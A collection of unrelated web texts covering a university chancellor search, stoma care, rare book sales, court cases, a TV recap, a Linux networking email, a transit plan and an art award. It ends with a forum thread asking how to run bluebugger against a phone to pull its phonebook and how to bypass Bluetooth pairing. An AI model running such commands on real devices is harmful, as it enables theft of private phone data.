The search committee was chaired by Dr. Shelton Hendricks, dean of the College of Arts and Sciences at UNO. "I was very pleased with the quality of applicants for the position of Chancellor at UNO," Hendricks said. "The committee faced a challenging task selecting finalists from this outstanding group. We believe we are presenting UNO, the University of Nebraska System, and our community constituents an outstanding group of finalists."
The finalists and information about the public forums are as follows:
Dr. John E. Christensen, interim chancellor of UNO, Monday, April 16, 4:30 p.m., Thompson Alumni Center. (News conference: 1:30 p.m. Milo Bail Student Center)
Dr. Allen A. Mori, provost and vice president for academic affairs, California State University, Dominguez Hills, Wednesday, April 18, 4:30 p.m., Thompson Alumni Center. (News conference: 1:30 p.m. Milo Bail Student Center)
Dr. John H. Frederick, executive vice president and provost, University of Nevada, Reno, Thursday, April 19, 4:30 p.m., Milo Bail Student Center Ballroom. (News conference: 1:30 p.m. on Friday, April 20, Milo Bail Student Center)
Dr. Wilson G. Bradshaw, president, Metropolitan State University, St. Paul, MN, Monday, April 23, 4:30 p.m., Thompson Alumni Center. (News conference: 1:30 p.m. Milo Bail Student Center)
Christensen has served as interim chancellor of UNO since September 2006. He has been a faculty member and administrator at UNO since 1978, serving as chair of the Special Education and Communications Disorders Department, dean of the College of Education and vice chancellor for academic and student affairs. He is a graduate of Dana College in Blair, with a master's degree from UNO and a Ph.D. in speech pathology and audiology from the University of Kansas.
Mori has served as provost and vice president for academic affairs at California State University, Dominguez Hills, since 2003. From 1987-2003 he was dean of the Charter College of Education at California State University, Los Angeles, where he was also a professor in the Division of Special Education. Mori is a graduate of Franklin & Marshall College in Lancaster, Penn. He received his master's degree in special education from Bloomsburg University in Bloomsburg, Penn., and his Ph.D. from the University of Pittsburgh. Cal State Dominguez Hills is located in the Los Angeles area and has an enrollment of approximately 12,000 students.
Frederick has been executive vice president and provost of the University of Nevada, Reno, since 2001 and has also been a professor of chemistry there since 1988. He served as director of the Chemical Physics Ph.D. Program from 1990-2001, and chair of the Department of Chemistry from 1999-2001. Frederick earned his undergraduate degree in chemistry at Princeton in 1980 and his master's and Ph.D. degrees at Harvard. The University of Nevada, Reno, is the state's land grant institution with approximately 16,000 students.
Bradshaw was named president of Metropolitan State University in St. Paul in 2000, where he also holds a faculty appointment as professor of psychology. He previously held administrative positions at Bloomsburg University of Pennsylvania, Georgia Southern University, and Florida Atlantic University. He is a graduate of Florida Atlantic, where he received his bachelor's and master's degrees, and the University of Pittsburgh, where he received his Ph.D. in psychobiology. Metropolitan State University is one of seven universities in the Minnesota state system, serving nearly 9,000 students in the Twin Cities metropolitan area.
Jim Young, CEO of Union Pacific and one of the community representatives on the search committee, said, "The caliber of candidates who applied for this position is a real tribute to the university and to the Omaha community. I believe we will see great things from UNO in the next few years."
Each of the candidates' campus visit will include a tour, meetings with a wide range of campus constituents including faculty, staff and students, a news conference and a public forum. Candidates will also meet with NU President James B. Milliken and other senior administrators. A number of opportunities will be available for the public to provide feedback on the candidates, including a comment form at www.nebraska.edu. Following the candidate visits, Milliken will make an appointment, subject to the approval of the Board of Regents. A special meeting of the Board will likely be held in May to consider the appointment. It is anticipated that the new chancellor will be in place by the start of the Fall 2007 semester.


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I am curious: how many of you who are planning to use traditional crib bumpers are also against drinking alcohol in any amount during pregnancy?
I am asking because I have noticed that in the posts about drinking that have come up, the majority ofĀwomen seem to side with the idea of not drinking anything at all, due to a perception of risk. So, then, I am surprised to see how many women are still planning to use traditional crib bumpers, despite the risk. I am wondering: if some of you are doing one and not the other, what is your reasoning?
(P.S.ĀI am sorry if my question comes across as vague. I wanted to be very careful in my wording as I am not trying to offend anyone, I am just curious as to how decisions are made regarding what is best during our pregnancies and for our babies - it is something I struggle with myself...)


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Ileostomy - caring for your stomaStandard ileostomy - stoma care; Brooke ileostomy - stoma care; Continent ileostomy - stoma care; Abdominal pouch - stoma care; End ileostomy - stoma care; Ostomy - stoma care
You had an injury or disease in your digestive system and needed an operation called an ileostomy. The operation changes the way your body gets rid of waste (stool, feces, or poop).
Now you have an opening called a stoma in your belly. Waste will pass through the stoma into a pouch that collects it. You will need to take care of your stoma and empty the pouch many times a day.
What to Expect at Home
Your stoma is the lining of your intestine. It will be pink or red, moist, and a little shiny. Stomas are usually round or oval.
Most stomas stick out a little over the skin, but some are flat. Your stoma may bleed a little when you clean it. The skin around your stoma should be dry.
Stoma Care
Carefully look at your stoma and the skin around it every time you change your pouch or barrier.
If the skin around your stoma is red or wet, your pouch may not be sealed well on your stoma. If this happens:
- Ask your doctor or nurse about medicine to treat your skin.
- Call your doctor or nurse if it is does not get better when you treat it.
If your stoma is leaking, your skin will get inflamed (sore).
Sometimes the adhesive, skin barrier, paste, tape, or pouch may damage the skin. This may happen when you first start using a stoma, or it may happen after you have been using it for months, or even years.
If there is hair on the skin around your stoma, your pouch may not stick.
- Ask your ostomy nurse about shaving.
- If you do shave the area, use a safety razor and soap or shaving cream
- Always rinse your skin well after you shave the area
If your stoma becomes longer than usual (sticks out from the skin more), try a cold compress, like ice wrapped in a towel, to make it go in.
Do not put anything into the stoma, including a suppository, thermometer, or enema.
When to Call the Doctor
Call your doctor or nurse if:
- Your stoma is swollen and is more than a half inch larger than normal.
- Your stoma is pulling in, below the skin level.
- Your stoma is bleeding more than normal.
- Your stoma has turned purple, black, or white.
- Your stoma is leaking often.
- Your stoma does not seem to fit as well as it did before.
- You have to change the appliance once every day or two.
- You have a skin rash, or the skin around your stoma is raw.
- You have a discharge from the stoma that smells bad.
- Your skin around your stoma is pushing out.
- You have any kind of sore on the skin around your stoma.
- You have any signs of being dehydrated (there is not enough water in your body). Some signs are dry mouth, urinating less often, and feeling lightheaded or weak.
- You have diarrhea that is not going away.
American Cancer Institute. Ileostomy guide. Last Revised: 03/17/2011. Accessed 07/08/2012.
Cima RR. Pemberton JH. Ileostomy, colostomy, and pouches. In: Feldman M. Friedman LS, Brandt LJ. Sleisenger & Fordtran's Gastrointestinal and Liver Disease. 9th ed. Philadelphia, Pa: Saunders Elsevier; 2010:chap 113.
Fry RD, Mahmoud N, Maron DJ, Ross HM, Rombeau J. Colon and rectum. In: Townsend Jr. CM, Beauchamp RD, Evers BM, Mattox KL. Sabiston Textbook of Surgery. 18th ed. Philadelphia, Pa: Saunders Elsevier; 2008:chap 50.
Review Date: 7/1/2012
Reviewed By: Joshua Kunin, MD, Consulting Colorectal Surgeon, Zichron Yaakov, Israel. Also reviewed by David Zieve, MD, MHA, Medical Director, A.D.A.M. Health Solutions, Ebix, Inc.


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by William Faulkner
Some very familiar names appear on December's most expensive sales list. Ernest Hemingway, James Joyce, William Faulkner, J.R.R. Tolkien, and Bram Stoker all make repeat appearances this month, with sales that will inspire some serious book envy, including a signed first edition of Hemingway's A Farewell to Arms, in its original slipcase.
In the number two spot is a copy of Joyce's Ulysses from the Limited Editions Club, illustrated by none other than Henri Matisse and signed by both the author and the artist. Started in 1929, the Limited Editions Club (LEC) specialized in publishing small print runs of beautifully bound, classic titles, illustrated by some of the most renowned artists of the day. In addition to Matisse, LEC editions were illustrated by Pablo Picasso, Arthur Rackham, Norman Rockwell, and many others.
Also on the list this month is a 219 volume set of Patrologiae Cursus Completus. This enormous collection of writings by the Church Fathers consists of many reprints of very old editions that span over 1000 years of Christian writing and scholarship. Originally published in the mid-19th century by Jacques-Paul Migne, this set was a re-issue from the 1950's and was missing only four volumes of the full 223 volume set.
Rounding out December's list is a beautiful signed first edition of Dracula by Bram Stoker. Many editions of this famous Gothic horror novel are highly collectible but this edition, with its immediately recognizable yellow boards and blood-red text, is legendary in rare book circles.
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2. Ulysses by James Joyce - $21,000
A 1935 Limited Editions Club edition illustrated by Henri Matisse. One of only 250 copies signed by both the author and artist.
3. Patrologiae. Cursus completus. 219 volumes (of 223) - $17,933
The Patrologiae is an enormous collection of writings by the Church Fathers. Originally published by Jacques-Paul Migne in the mid-19th century, the collection consists of many reprints of old editions that span over 1000 years of Christian writing and scholarship. This set of reprints from the 20th century was missing only four of 223 volumes.
4. A Vindication of the Rights of Woman: with Strictures on Political and Moral Subjects by Mary Wollstonecraft - $17,500
A first edition of Wollstonecraft's 1792 feminist manifesto.
5. Historical and Statistical Information respecting the History, Conditions and Prospects of the Indian Tribes of the United States by Henry Rowe Schoolcraft - $16,500
Schoolcraft's six-volume reference work, commissioned by the U.S. Congress and illustrated by Seth Eastman, is considered the most comprehensive work on Native Americans published in the 19th-century.
6. Light in August by William Faulkner - $12,500
A 1932 signed first edition in its memorable blue, orange and white dust jacket.
7. Dracula by Bram Stoker - $12,120
Signed, first edition of Stoker's classic gothic horror novel, bound in yellow cloth with distinctive red text legendary in the rare book world.
8. Lamia, Isabella, the Eve of St. Agnes, and Other Poems by John Keats - $11,665
First edition of Keats' third and final volume of poetry, including some of his most well-known works - Ode to a Nightingale, Ode on a Grecian Urn, and many more.
9. Recueil des meilleurs desseins de Raimond LaFage - $8,667
A 1684 collection of engravings from the drawings of 17th century Baroque artist Raimond LaFage.
10. The Lord of the Rings (3 volume set) by J.R.R. Tolkien - $8,000
Set of first U.S. editions of all three books in the series: The Fellowship of the Ring, The Two Towers, and The Return of the King.


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DETROIT (AP) — Michigan's ban on affirmative action in college admissions was declared unconstitutional Thursday by a deeply divided federal appeals court, six years after state voters said race could not be an issue in choosing students.
In an 8-7 decision, the court said the 2006 amendment to the Michigan Constitution is illegal because it presents an extraordinary burden to opponents who would have to mount their own long, expensive campaign through the ballot box to protect affirmative action.
That burden "undermines the Equal Protection Clause's guarantee that all citizens ought to have equal access to the tools of political change," said Judge R. Guy Cole Jr., writing for the majority at the 6th U.S. Circuit Court of Appeals in Cincinnati.
It would be much fairer for supporters and opponents to debate affirmative action through the governing boards of each public university, the court said, instead of cementing a ban in the constitution — "the highest level."
The court did not comment on part of the amendment that deals with government hiring.
This is the second time that the appeals court has examined the affirmative action issue. A three-judge panel last year also found the ban unconstitutional for similar reasons. But after a plea from Attorney General Bill Schuette, the entire court decided to take a fresh look at the matter, with new filings and arguments leading to the new ruling Thursday.
In dissent, Judge Danny Boggs said the majority relied on an "extreme extension" of two Supreme Court cases to justify its decision.
"We have the citizens of the entire state establishing a principle that would in general have seemed laudable," Boggs said.


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It was a deal that neither the victim's nor defendants' families liked. But each side agreed the compromise was the right outcome for everybody.
In a plea arrangement with prosecutors, two men on Thursday were sentenced in a Torrance courtroom to state prison terms for last spring's beating death of a Redondo Beach bar bouncer.
Francisco Cobarruvias, 35, was ordered spend six years in prison, and Rene Anthony Avina, 23, to serve 11 years for the June 2 fight outside Pats II Cocktails that resulted in the death of 49-year-old bouncer Terie Colecchi.
Cobarruvias and Avina risked sentences of 15 years to life in prison if they had gone before a jury on murder charges, so each agreed in December to plead no contest to voluntary manslaughter charges, which carried lesser prison terms.
"We'd rather have them gotten more time," said Colecchi's sister, Jamie Dudynsky. "Given all the circumstances, they could have walked away. It was better they got the time that was given to them. The whole thing has been hard."
A murder case was not as simple as it seemed following Colecchi's death. The men battled when Colecchi stopped Cobarruvias and Avina from entering the Pacific Coast Highway bar at 1:40 a.m.
Video surveillance showed Colecchi throwing the first punch during the skirmish, and Cobarruvias and Avina repeatedly punching and kicking him after he collapsed.
Both men took off, but were arrested in the following days.
Although the men might have used excessive force once Colecchi was down, Colecchi's medical condition and drug use were key factors in his death, authorities said. An autopsy determined Colecchi died of "hypertrophic heart disease" caused by other significant conditions, including the effects of methamphetamine use, blunt force trauma, and drug intake.
In layman's terms, the fight contributed to Colecchi's having a heart attack because of his drug use and enlarged heart, but the injuries from the beating he took is not what killed him.
"It was a classic case that called for a resolution," said Jeffrey Gray, Cobarruvias' defense attorney.
Deputy District Attorney Ethan Milius, who initially was prosecuting both men for murder, said a jury would have had to consider the heart condition and drug use when deciding whether to convict the men. Ultimately, a jury might have agreed with the negotiated plea deal - voluntary manslaughter.
"This was the equitable and just result," Milius said.
Gray contended Cobarruvias and Avina acted in self defense after Colecchi threw the first punch and bit Cobarruvias on the hand. An issue at trial, Gray said, was whether they went too far in the beating.
Colecchi's lifestyle and temper also could have become an issue at trial. Records show a dismissed methamphetamine possession charge in 2005, and that his sister, Cindi Colecchi, obtained a restraining order in 2003 to keep him away from her and their 81-year-old mother. The sister alleged Colecchi bit her ring finger and tried to strangle her during a dispute over the sale of their mother's house.
In the end, however, Colecchi, the father of an 8-year-old son, died because of the fight and might be alive if it hadn't occurred, Dudynsky said.
"I just wanted some closure," Dudynsky said. "I'm not happy. They committed murder, but what can you do? At least they are paying."
Dudynsky's husband, Adam, read a letter on her behalf in court, explaining the pain that her brother's death has caused the family.
"People say that things happen for a reason, but there will never be a good enough reason for what happened to Terie," the letter said. "It was cruel, vicious, unthinkable and brutal. No one deserves to die this way. ... For those of us alive we can only hope that he rests in peace."
Gray asked Judge Alan Honeycutt to recommend to the Department of Corrections that Cobarruvias spend his sentence in a prison close to Southern California because the Redondo Beach man has three children with no mothers. Avina's attorney, Christopher Glew, requested the same because the Riverside man's family also lives locally.
Avina received a longer sentence because of a previous assault conviction.
"This is a difficult situation," said Avina's mother, Adriana Avina. "We're all on the same page as saying condolences to the other family."
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VOICE OVER: America Crowns The Voice Champion 2012
Y'all, it's the end of the road tonight for the contestants on NBC's The Voice. Tonight, the winner of season 3 was decided. So, look out, there are spoilers ahead! The artists from Teams CeeLo Green and Blake Shelton were joined by not only famous artists like Kelly Clarkson, but also contestants who were eliminated earlier this season. Also, coaches Adam Levine and Christina Aguilera joined the other two coaches on the stage performing at the end of the night. It was a great night of performances and high emotions as the singers had some fun for one last time on The Voice stage, getting themselves mentally prepared for the outcome.
Get a quick reminder about who is left in the show and what they have sung throughout the show here!
The remaining contestants as of the beginning of tonight were Blake's Cassadee Pope and Terry McDermott and CeeLo Green's Nicholas David. CeeLo called Nicholas unique and original, saying it was, "Fun getting to share the stage with Nicholas. What more could I ask for?" Of his own team, Blake said, "Terry deserves to win because he's one of the greatest singers I've ever heard. Every time he gets on stage, something epic happens," and, "Cassadee is an incredible vocalist. I've never heard her sing as good as she did last night." Last night, each contestant got to sing alone as well as with their individual coach. Missed it? Check out the videos here! Yet again, they were all in the top downloads on iTunes, and performances from this whole season were in the top 200 downloads on iTunes.
So performances tonight started with Rhianna singing her latest hit, "Diamonds."
The coaches of course got emotional about the season ending. Adam said, "It's bittersweet. It was amazing last night. Nick kind of didn't care about it and said 'I want to have fun,' so that was my favorite part."
As usual, CeeLo's costume was quite a sight. This one looked like he'd stolen shoulder pads from a high school football player and added some spikes to it to give himself a porcupine look. Anyway, he told Carson that Nicholas, "Has been so well received; I think that his performances last night could have put him into an even stronger position to win. He's an exceptional person, and he can win the show as much as anybody."
In her typical sweet, noncommittal way, Christina said, "You can't pick a favorite moment. I'll never forget Nicholas's crazy stomps and kicks from last night. Cassadee has constantly improved. She makes me smile. Terry's tippy-toes when he sings and seeing the personal moments with his son were heart-warming to me."
One very special thing that happened throughout the night was the each of the finalists got to bring back some of their buddies from earlier in the season. So the first finalist to do this was Terry. He sang "Rock 'n' Roll All Night" with Rudy Parris, Amanda Brown, Bryan Keith, and Michaela Paige. The proud coach Blake was visibly singing along during the performance.
Then came a true legend, Smokey Robinson. He sang his classic, "Cruisin'" with Nicholas and overshadowed The Voice contestant with his high distinctive notes. Even at age 72 with a zillion face lifts, Smokey has definitely still got it.
The coaches also got their share of love, or rather roasting throughout the evening.
The first to be roasted was Adam. The other coaches talked about Adam's extreme musical talent, and Blake said, "He plays guitar, piano, probably harmonica. He would be that guy playing 17 instruments in a parade." Christina said, "He's like that guy in Mary Poppins with a banjo in one hand, a drum in the other." I think you mean Bert, Christina. (You know, one of the main characters in the movie, played by Dick Van Dyke. Though he may be the guy with the most-berated cockney British accent of all time, he remains a brilliant comedian.)
The next performance of the night was The Killers who sang, "Here With Me" with Cassadee Pope, though she really only got about twenty seconds of singing time. But even with that, she killed it. See what I did there?
More returners, Cody Belew, Diego Val, MacKenzie Bourg, and of course Dez Duron, took the stage to bring back the boy band idea with "Stacy's Mom." The whole performance was a tad creepy, but of course that is the nature of the song. Dez looked like Danny from Grease, and I thought that any moment, they would break into "Greased Lighting." This performance definitely reminded the audience why letting some of these guys go was a bad idea. Especially Dez.
Blake was in the hot seat next, as Carson asked whether he should be dubbed "Flirt of the Decade" rather than Entertainer of the Year. The coaches recalled many times that he got affectionate with different people on The Voice. Adam recalled, "He's not bashful about telling someone they're attractive: men, women... Ceelo," and Christina set the record straight, saying that Blake reserves the majority of his love for himself.
Next, they showed a sneak peek of the next The Voice season, featuring Blake, Adam, Usher, and Shakira, season four's judges. In this fun commercial, the four were in a car on their way to the Voice auditions, rocking out to, "Total Eclipse of the Heart."
When asked what they would do if they were to win this season, Terry said, "I could signal the Scottish invasion force that stage one is complete, but that's a secret." Nicholas would "Throw a big pizza party with the family," and Cassadee demonstrated the crazy faces she would likely make if she won, and seriously said, "I'm competing against the two most genuine heartfelt artists; I'd be happy to lose to one of them." Coach Ceelo promised to do a cartwheel across the stage if his team won.


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Men's Golf Places Third at Own EY Invitational
Ball State's men's golf team finished third out of 15 teams at its own Earl Yestingsmeier Invitational at Delaware Country Club in Muncie, Ind.
Louisville won the event with a 362-355-373=1090 in the play six count five tournament. Austin Peay was second with a 1100, while Ball State managed a 374-364-375=1113.
Tyler Merkel finished seventh with a 69-71-76=216, while Brodie Williams was eighth with a 72-71-74=217.
Joe Gasser tied for 20th after carding a 78-74-72=224, Tony Lazzara managed an 83-74-74=231 to tie for 43rd. Alex Stinson tied for 46th with a 78-74-80=232 and Connor O'Neal managed a 77-81-79=237.
TJ Carpenter tied for 28th while competing as an individual with an 80-72-74=226. Zach Yinger tied for 39th as an individual with a 77-75-77=229. Zac Treash, who was disqualified in the second round, managed an 80 in the first round and a 79 in round three.


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|Andrey Savochkin <saw@xxxxxxxxxxxxx>
|Re: IFA_F_NO_NDISC (for vrrp)
|Julian Anastasov <uli@xxxxxxxxxxxxxxxxxxxxxx>
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|Jerome Etienne <jetienne@xxxxxxxxxx>, netdev@xxxxxxxxxxx
Hello, On Fri, 9 Jun 2000, Andrey Savochkin wrote: > Hello, > > On Fri, Jun 09, 2000 at 10:56:34AM +0300, Julian Anastasov wrote: > > I want to ask you about arp_solicit. Is > > inet_addr_type() going to die? I see it is still used. My > > question is: can arp_solicit continue to use > > inet_addr_type() as in the current kernel and not to call > > fib_local_source()? You still can call fib_select_addr. Is > > there a good reason to change it? > > > > By this way we limit the local addresses that we can > > announce in our ARP probes. I'm not sure if this will break > > something but that will allow addresses not included in the > > "local" table not to be announced. This will help to hide > > these addresses. But I agree, may be this is a hack. We will > > I suppose, the kernel looked only in local table only for optimization > purposes under assumption that nobody wanted to insert local addresses in > other tables. But it is very necessary for source routing and proper > ordering of routing lookups. > > A most simple example: I get network a.b.c.0/28 for some hosting. I assigned > a.b.c.d for gateway and use other addresses as local for virtual servers. I > write: > ip route add a.b.c.d dev eth0 table 10 > ip route add local a.b.c.0/28 dev eth0 table 10 > That's fine. But if I'm forced to reorder entries to put all local addresses > in local table, I can't add a route for such a.b.c.0/28 prefix. Yep, may be there are cases where local routes can be specified not in the "local" table. But if we don't change the call in arp_solicit() from inet_addr_type() to fib_local_source(), we will use IP from another logical network, i.e. returned from fib_select_addr(). I don't think this is a big problem. Our gateway always can be configured with other IP address because we usually don't define only a.b.c.0/28 in our host. Of course, our request will look: "who-has 192.168.0.1 tell 192.168.0.2", where 192.168.0.1 and a.b.c.d are configured in the router and we send our probe after the request "client -> a.b.c.e". But because a.b.c.e is not defined in the "local" table it is not found from inet_addr_type(). The result: we send a valid ARP probe (with saddr and daddr from the same logical network) using 192.168.0.2 as source of the request. Is this a big problem? To use another IP as gateway? >From the same device? I assume the only requests from the router will be "who-has a.b.c.e tell a.b.c.d". But we will reply for a.b.c.e because it is local (in any table): "a.b.c.e is-at OUR_MAC", we use ip_route_input() in this case which returns RTN_LOCAL. Is that working :) The drawback is that we will probe only with addresses from the "local" table. If all hosts share this logical network it is not a problem to support many additional logical networks as specified in your example. So, only by defining additional logical network (the main network 192.168.0.0/24), which is usual because we add our new a.b.c.0/28 network as an additional network we solve this problem. The result: we can add additional networks with any prefix but to use our main logical network to resolve our ARP requests. > > Adding local routes into non-local table you just explore some kernel > optimization. > > We've discussed arp_solicit with you. > As far as I remember, we agreed that always using fib_select_addr as a source > address for the arp requests, independently if we may use skb's source, > is good for you. It's ok for me, too. Yes, using fib_select_addr() is not a problem. Oops, sorry, my question was for fib_local_source(), not for fib_select_addr() but you understood me. We want to keep using inet_addr_type() instead of fib_local_source() in arp_solicit(). Only there. And it is not a problem the hosts to be involved in same logical network to allow them to define any number of additional logical networks as local but not in the "local" table. I think, this can't be a problem for any user which can add routes in other tables, i.e. not only in the "local" table :) So, can we just in this case to use inet_addr_type? I now see that inet_addr_type() is changed too, to use fib_lookup. I forgot about this. Yep, with this change we can't do this (to limit the local addresses in arp_solicit). I have to wait for the final version of your patch :) For now, without the hidden flag, the only problem is that we can't allow clients on the LAN to access the hidden addresses in the real servers. We have to live with it. Or to allow it with patch :) The last words: IFA_F_NO_NDISC with arp_solicit calling original inet_addr_type is acceptable for LVS. This will allow local clients to talk with the cluster. But is it acceptable? If this is not true, LVS don't need IFA_F_NO_NDISC (this version of the patch). Regards -- Julian Anastasov <uli@xxxxxxxxxxxxxxxxxxxxxx>
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The future is coming to Sugar House soon.
Churning its way through City Hall is the "Sugar House (transportation) Circulation" plan that proposes adding bike lanes, subtracting car lanes, creating a pedestrian plaza at 2100 South and Highland Drive, and adding streets and walkways to the commercial center surrounding ShopKo.
The circulation plan also would establish the route of an extension to the Sugar House Streetcar line that soon will ply rails at about 2250 South from the Central Pointe TRAX station at 200 West to McClelland Street (1050 East).
The draft implementation plan developed by the California-based consulting firm Fehr & Peers, incorporates Salt Lake City's "Complete Streets" policy that emphasizes mass transit, bicycles and pedestrians, as well as automobiles.
These are some highlights of the multifaceted plan:
• Closing the right-turn lane on eastbound 2100 South at Highland Drive to create a pedestrian plaza around the Sugar House Monument.
• Realigning the intersection of Sugarmont Drive (2250 South) and Wilmington Avenue at Highland Drive.
• Reducing Highland Drive south of 2100 South from four lanes to three to allow the creation of bicycle lanes.
• Adding bicycle lanes along 2100 South.
• Dividing large blocks into smaller ones in the commercial area between Interstate 80 and Wilmington Avenue from Highland Drive to 1300 East.
Aspects of the proposal could be controversial because some motorists may not favor a reduction in automobile lanes, said City Council Chairman Kyle LaMalfa. But additional forms of transportation are necessary to meet future needs.
"We have to get more people where they want to go without adding cars," he said.
The proposed circulation plan would make central Sugar House a destination for those who ride mass transit or who are willing to park their cars and walk, LaMalfa said.
"The way things are shaping up, this will make the pedestrian and bicycle experience delightful," he said. "But those who are traveling through [by auto] might not realize the benefits."
The city should proceed cautiously with any plan that would reduce auto traffic on 2100 South, advised Councilman Charlie Luke. A plaza may be a good idea, but it would require trade-offs.
"The intersection [at 2100 South and Highland Drive] is bad to begin with," he said. "The closure of the right-turn lane will exacerbate that. But the Sugar House community is in favor of a monument plaza."
Further reducing auto access along 2100 South, however, is not a good idea, Luke said. For that reason he does not favor bike lanes on the crowded thoroughfare between 500 East and 1300 East.
"People use 2100 South to travel and commute," he said. "And if Sugar House becomes difficult to access, people won't go there on a regular basis."
Both the Sugar House Merchants Association and Sugar House Community Council support creating a plaza on the south side of 2100 South that would replace the right-turn lane and a dozen parking slots.
Annalisa Holcombe, chairwoman of the merchants association, said her group favors a business district that is more bicycle and pedestrian friendly. But business people want to ensure auto traffic doesn't become more inconvenient.
"There are trade-offs," she said. "But we want to make sure cars can circulate."
Amy Barry, vice chairwoman of the community council, describes the plan as one of "competing values." That is, making the Sugar House business district more bicycle and pedestrian friendly means fewer auto lanes and slower auto traffic.
Barry points to the "road diet" on 1300 East between 500 South and 2100 South that she said has accomplished exactly that, while not reducing overall auto volume.
Many members of the community council favor eliminating the right-turn lane at 2100 South and Highland Drive for a pedestrian plaza, she said. "It's a lot more exciting than what we have now," she said. "It is a trade-off. But what is more important?"
Part of the larger proposal would extend the Sugar House Streetcar from Sugarmont Drive (2250 South) north along Highland Drive to 2100 South, where it would turn around at the proposed monument plaza.
Councilman Soren Simonsen said that would be a mistake. "I don't support, at all, having the streetcar dead-end at the plaza," he said. "That's incompatible with a pedestrian plaza."
The proposals in the circulation plan are not set in stone, said Salt Lake City Transportation Director Robin Hutcheson. Such things as bike lanes on 2100 South and a streetcar terminus at the monument plaza require more study, she said.
The overarching goal of the circulation plan is to make Sugar House accessible to all modes of transportation, Hutcheson said.
"We want to make sure we are doing a lot for pedestrian traffic, bicycle traffic and mass transit."
firstname.lastname@example.com Sugar House public hearing
The Salt Lake City Planning Commission will hold a public hearing on the "Sugar House Circulation" plan at its April 10 meeting, which begins at 5:30 p.m. in Room 325 at City Hall, 451 S. State.
The traffic-circulation plan should come before the City Council in May or June, but no date has yet been set for a public hearing.
O Find a .pdf draft of the plan online. > bit.ly/sugarplan


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Lucelia Artist Award
2002—Liz Larner
Liz Larner was the second annual Lucelia Artist Award winner. Larner's sculptural work uses the formal roots of modernism to question traditional notions of space and volume. In her early work, Larner examined issues of transformation and decay in a series of petri dish cultures that she also photographed. Her subsequent installations and sculptures address the way an object defines the space it occupies and transforms the viewer's perception of that space. The silhouette created by two intersecting arcs of nylon cord in her Bird in Space recalls the shape of Constantin Brancusi's classically modern 1928 sculpture of the same title. Larner's work has been widely shown in the United States and Europe, particularly in Austria, Germany, and France. In 1999 she won a Guggenheim Fellowship. The Museum of Contemporary Art in Los Angeles organized a retrospective of her work in 2001.
Larner was born in Sacramento, Calif. in 1960. In 1985, she received a Bachelor of Fine Arts degree from the California Institute of Arts, Valencia. Currently she lives and works in Los Angeles and teaches at the Art Center College of Design in Pasadena, California. Regen Projects in Los Angeles and 303 Gallery in New York City represent Larner.
Bonnie Clearwater, director and chief curator at the Museum of Contemporary Art in North Miami
Matthew Drutt, chief curator at The Menil Collection in Houston
Russell Ferguson, deputy director for exhibitions and programs and chief curator at the UCLA Hammer Museum
Elizabeth Murray, artist
Jerry Saltz, art critic at the Village Voice
Pictured: Liz Larner, Bird in Space, 2001, Nylon cord, silk thread, and stainless steel, Smithsonian American Art Museum. Photo by Susan Einstein Photography


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Just wondering if anyone has figured out a way around the pairing code yet?
Let me start with.. Great tut drgr33n!
And i am fresh to linux.
I have 2 problems with Bluetooth
1. bluesnarfer does not start up
I follow every command to start bluesnarfer but when i type bluesnarfer it will show me:
" bash: bluesnarfer: command not found "
I have installed it with synaptic.
Ok now 2. bluebugger is bugging me!
When i type:
" bluebugger -m f4llcon -c 3 -a FF:FF:FF:FF:FF:FF info phonebook +GMI "
i get:
bluebugger 0.1 ( MaJoMu | back to basics. )
Target Device: 'FF:FF:FF:FF:FF:FF'
Target Name: 'K800i'
Mobile Identification
Am i blind or is it not showing up my phonebook, info and +GMI?
It may be the channel, but i tried 17, 1, 2, 3 and i stopped trying.
I googled for the bluesnarfer problem and searched the bt forums, but with no luck..
Just wondering if anyone has figured out a way around the pairing code yet?
Will this perhaps help ? It's a python script, you can just paste it in Kate and save as bluetooth-pin-agent.py.
And be sure to place it in /usr/bin/ and make it executableCode:#!/usr/bin/python # /usr/bin/bluetooth-pin-agent import gobject import sys import dbus import dbus.service import dbus.mainloop.glib class Rejected(dbus.DBusException): _dbus_error_name = "org.bluez.Error.Rejected" class Agent(dbus.service.Object): exit_on_release = True def set_exit_on_release(self, exit_on_release): self.exit_on_release = exit_on_release @dbus.service.method("org.bluez.Agent", in_signature="", out_signature="") def Release(self): print "Release" if self.exit_on_release: mainloop.quit() @dbus.service.method("org.bluez.Agent", in_signature="os", out_signature="") def Authorize(self, device, uuid): print "Authorize (%s, %s)" % (device, uuid) @dbus.service.method("org.bluez.Agent", in_signature="o", out_signature="s") def RequestPinCode(self, device): print "RequestPinCode (%s)" % (device) return "ENTER_YOUR_FIXED_PIN_HERE" @dbus.service.method("org.bluez.Agent", in_signature="o", out_signature="u") def RequestPasskey(self, device): print "RequestPasskey (%s)" % (device) passkey = raw_input("Enter passkey: ") return dbus.UInt32(passkey) @dbus.service.method("org.bluez.Agent", in_signature="ou", out_signature="") def DisplayPasskey(self, device, passkey): print "DisplayPasskey (%s, %d)" % (device, passkey) @dbus.service.method("org.bluez.Agent", in_signature="ou", out_signature="") def RequestConfirmation(self, device, passkey): print "RequestConfirmation (%s, %d)" % (device, passkey) confirm = raw_input("Confirm passkey (yes/no): ") if (confirm == "yes"): return raise Rejected("Passkey doesn't match") @dbus.service.method("org.bluez.Agent", in_signature="s", out_signature="") def ConfirmModeChange(self, mode): print "ConfirmModeChange (%s)" % (mode) @dbus.service.method("org.bluez.Agent", in_signature="", out_signature="") def Cancel(self): print "Cancel" def create_device_reply(device): print "New device (%s)" % (device) mainloop.quit() def create_device_error(error): print "Creating device failed: %s" % (error) mainloop.quit() if __name__ == '__main__': dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) bus = dbus.SystemBus() manager = dbus.Interface(bus.get_object("org.bluez", "/"), "org.bluez.Manager") if len(sys.argv) > 1: path = manager.FindAdapter(sys.argv[1]) else: path = manager.DefaultAdapter() adapter = dbus.Interface(bus.get_object("org.bluez", path), "org.bluez.Adapter") path = "/test/agent" agent = Agent(bus, path) mainloop = gobject.MainLoop() if len(sys.argv) > 2: if len(sys.argv) > 3: device = adapter.FindDevice(sys.argv[2]) adapter.RemoveDevice(device) agent.set_exit_on_release(False) adapter.CreatePairedDevice(sys.argv[2], path, "DisplayYesNo", reply_handler=create_device_reply, error_handler=create_device_error) else: adapter.RegisterAgent(path, "DisplayYesNo") print "Agent registered" mainloop.run() adapter.UnregisterAgent(path) print "Agent unregistered"
